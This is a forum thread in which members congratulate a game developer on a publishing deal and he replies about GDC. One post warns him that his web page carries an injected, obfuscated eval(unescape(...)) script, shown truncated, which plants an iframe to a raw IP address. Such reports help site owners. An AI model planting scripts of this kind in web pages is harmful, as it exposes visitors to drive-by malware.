Cool. Looks like ya'll are really coming up in the gaming industry.

I never would've believed you could get that kind of attention just from making a game with AGS. Guess I underestimated it.

There's a bit of JavaScript at the end of your page, after the closing html tag:

<script>eval(unescape("%77%69%6e%64[more stuff I cut out to not break the forum layout]%29")); </script>

This script injects an iframe pointing to http://81.29.241.70/new/counter.php?3341530786f (where the number is randomized).

I can't open that page right now to see what it contains, but this does look highly suspicious.

Anyway, congratulations, man!

When I last had an MSN conversation with he was squatting in the dirt whittling CD-ROM's out of tree-bark.
It's good ton now the company's moving up, though I'm not sure the games will still have the same charm without the woodworm... and the splinters.

Oh gosh... I hope not! Dude had a substantial adventure, any more and it's just wedging a character into stories just to keep brand recognition going. Urgh

What? And miss out on such exciting Talmudic detective stories as "The Bris" and "The Bar Mitzvah"?

Congrats Dave!!!! Pssstt... See if they can get rights to Zak McKracken and Maniac Mansion and develop sequels. Those are casual games...

Yar!  Back from GDC and got the bag of free merchandise swag to prove it.

Thanks for the props, folks.  It means a lot that this community is still behind what I'm doing and isn't all "Dude, you've sold out!"  Getting published is like entering a whole other world.  Sat in a big meeting in SF with the Playfirst folks and we all talked about stuff that, unfortunately, I'd be sued if I told you about.  Suffice to say, it was inspiring and intimidating all at the same time!  Inspiring because a substantial company is backing me and has faith in me, but intimidating because for the first time there is so much at stake! 

Anyway, things are weird but exciting.  I'll be sure to divulge anything that I'm contractually allowed to divulge. :)

Some of 'em lie about the shit they got
and what they do on the block
Some of 'em lie about the guns they pop
But he don't (he don't) he don't (he don't)
That's how it is for him 'cause he lives a bo$$' life

Congrats Dave!!

I will repeat again what another member said.
QuoteWill this be an AGS game, I wonder?

Are you allowed to "leak" this kind of information to your fans? :P

Anyways, Good Luck!
I look forward to both the new blackwell game and this new game we know nothing about!
